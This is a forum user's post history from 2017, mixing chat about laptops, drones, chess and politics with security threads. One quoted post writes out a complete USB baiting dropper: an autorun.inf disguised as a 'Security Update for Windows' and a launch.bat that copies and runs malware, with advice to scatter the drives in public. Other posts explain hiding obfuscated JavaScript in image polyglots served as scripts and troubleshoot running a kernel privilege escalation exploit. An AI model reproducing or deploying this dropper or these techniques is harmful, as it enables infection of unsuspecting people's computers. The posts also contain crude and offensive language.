Posts by SBTlauien

2017-03-06 at 4:11 AM UTC in Help me niggas in space, you're my only hope!

SBTlauien African Astronaut

Chess has been wasting so much of my time lately...

2017-03-06 at 3:58 AM UTC in Web apps and shit.

SBTlauien African Astronaut

Originally posted by Lanny Oh, I see, it looks like it's just a way of delivering a secondary payload? Maybe useful for avoiding heuristic detection but it doesn't look like you can get JS execution by simply serving some manipulated image.

The image is served by the web server as text/javascript, so it's basically the same as serving a legit .js script, except that the typical user wouldn't be able to see/detect it. Furthermore, one can obfuscate the javascript within that image...

http://utf-8.jp/public/jjencode.html

Edit: Do you think it's possible to attack someone from this site, through an image posted on this site?

Post last edited by SBTlauien at 2017-03-06T04:55:57.070803+00:00

2017-03-06 at 2:37 AM UTC in Looking for a laptop

SBTlauien African Astronaut

Touch screen is nice but it kills the battery fast. But do you actually need a battery that lasts more than three hours?

Do you need a backlit keyboard? Do you need a disk drive? How many usb ports do you need?

HP seems like a good brand to me. Not fancy but not cheap. Similar to Honda. Just basic.

I wouldn't consider the OS to much, you can always run a virtual machine of another OS(unless you're trying to run Mac OS on a machine with an AMD processor, in which you have to spoof your processor or something).

I wouldn't get a laptop with a nice graphics card if your not into gaming, simply because the money could be spent elsewhere.

Try to get one that can at least be upgraded to 16GB of RAM, but this depends on what you're doing.

What size are you looking for? 13"...15"...17"?

Do you actually need something that is slim and strong, or is it generally going to sit on a desktop and rarely move?

2017-03-06 at 2:24 AM UTC in what facory in china is makeing the shitty haedphone jacks tht u need to bend to mek it play both hedphones

SBTlauien African Astronaut

Factory #7, Gaoxin, Xian, China.

2017-03-06 at 2:22 AM UTC in Web apps and shit.

SBTlauien African Astronaut

Someone can also hide javascript inside an image(polyglot) and have their server serve that image using "text/javascript" in the 'Content-Type:' header. They could place this image on one of their webpages where your browser ultimately requests that image from their server and the javascript is executed(if you have it enabled) without you knowing where it came from(unless you know to look at the contents of an image). This actually worked really well for me on my server that I occasionally run from my phone.

Chapter 7: https://www.alchemistowl.org/pocorgtfo/pocorgtfo08.pdf

Not sure if you already knew this though. Also this isn't what you were talking about but I wanted to share.

2017-03-05 at 11:17 PM UTC in Web apps and shit.

SBTlauien African Astronaut

I see javascript files, css files, txt files, all the time. I believe it's more of php files, pl files, that you're suppose to hide. Javascript is running client-side so you can't really hide it unless you're really trying.

2017-03-05 at 9:38 PM UTC in I finally did it

SBTlauien African Astronaut

777

Good job Lanny. Take yourself out, celebrate, be safe.

2017-03-05 at 9:36 PM UTC in Web apps and shit.

SBTlauien African Astronaut

It's just a javascript file. Are you expecting your browser to download the file rather than display it?

2017-03-04 at 5:48 AM UTC in i have a zillion extra thumbdrives

SBTlauien African Astronaut

Originally posted by Sophie Or just go over to my github, grab a copy of whatever dastardly malwares i got cooking at the moment, compile that puppy and put it on a flashdrive. And here comes the fun part. Letsd make an autorun for it i will do it RIGHT HERE, are you ready?

1. Save this as autorun.inf
[autorun]
icon=drive.ico
open=launch.bat
action=Click Ok to Run Security Update for Windows
shell\open\command=launch.bat
2. Save this as launch.bat
ECHO off
SET odrive=%odrive:~0,2%
copy "%drive%\malware\*.*" “%userprofile%\appdata\local”
cd %userprofile%\appdata\local
malware.exe
cls 
exit
Save your malware on the thumbdrive under a directory called malware.

Sprinkle these around where people congregate. If i made any error in my batch file, someone come along and correct me i am a little rusty on my Windows Shell shenanigans.

What if they run Linux or Mac OS?

2017-03-03 at 10:03 PM UTC in Linux Kernel 4.4.0(Generic) Privilege Escalation exploits.

SBTlauien African Astronaut

So then how would I set the program to have permission to open IPv6 DCCP sockets without root privileges? Using "setcap 'cap_net_bind_service=+ep' /path/to/program" requires root.

2017-03-03 at 6:41 AM UTC in Who else still runs Windows XP as there main OS?

SBTlauien African Astronaut

Originally posted by Lanny Like ransomware or adware maybe but something like a keylogger or trojan seems pretty unlikely to be detected. What would a user experience to suggest they had a virus?

You're correct.

2017-03-03 at 6:17 AM UTC in Linux Kernel 4.4.0(Generic) Privilege Escalation exploits.

SBTlauien African Astronaut

So how would I get this working?

2017-03-03 at 4 AM UTC in Who else still runs Windows XP as there main OS?

SBTlauien African Astronaut

Originally posted by Sophie Just because you never have noticed that you had a virus doesn't mean you don't have any.

Most people would notice a virus.

2017-03-03 at 3:57 AM UTC in Linux Kernel 4.4.0(Generic) Privilege Escalation exploits.

SBTlauien African Astronaut

So I compiled and tried running the executable and I got a "permission denied" message. Isn't the whole point to run it without root privileges to gain root access?

2017-03-02 at 5:04 AM UTC in Linux Kernel 4.4.0(Generic) Privilege Escalation exploits.

SBTlauien African Astronaut

Here's a new one(not really though). Not sure if you already knew about it or not.

https://www.exploit-db.com/exploits/41458/

I'm going to install a VM and give it a shot. Then I'm going to to see if I can get it compiled for Android.

2017-02-27 at 8:53 PM UTC in Is Lanny Really A Ginger?

SBTlauien African Astronaut

I had a feeling by his posting style, but wasn't certain. I didn't want to insult him by asking.

If so, then I guess gingers 'might' not be that bad, but I'd have to think about it for a while.

Thank-you for your time.

2017-02-27 at 7:26 PM UTC in Building a drone

SBTlauien African Astronaut

I once rigged a wireless camera to my remote car. It didn't work out to well. If you lose any reception and don't have it set up to fly without crashing during that time, your drone is done for. If you can't get reception for to long, your drone is done for.

There's a lot of work to rig it up and a lot of programming to set it up to fly in auto-pilot without crashing into things. It's possible, just a shit load of work. But you might be better off with a copter than a plane.

2017-02-26 at 11:17 PM UTC in By today''s standards, I was raped when I was 14.

SBTlauien African Astronaut

Originally posted by Sophie Yeah bring Zoklet back.

Zoklet is gone just like Totse. This community evolves and moves forward.

2017-02-26 at 11:13 PM UTC in ATTN: Sophie

SBTlauien African Astronaut

Chester.

2017-02-26 at 11:11 PM UTC in ~~fuck donald trump~~

SBTlauien African Astronaut

I support any president of my country until that president is a dictator. President Trump isn't a dictator, so I support him even though I may not like some of his plans.

User Controls

Navigation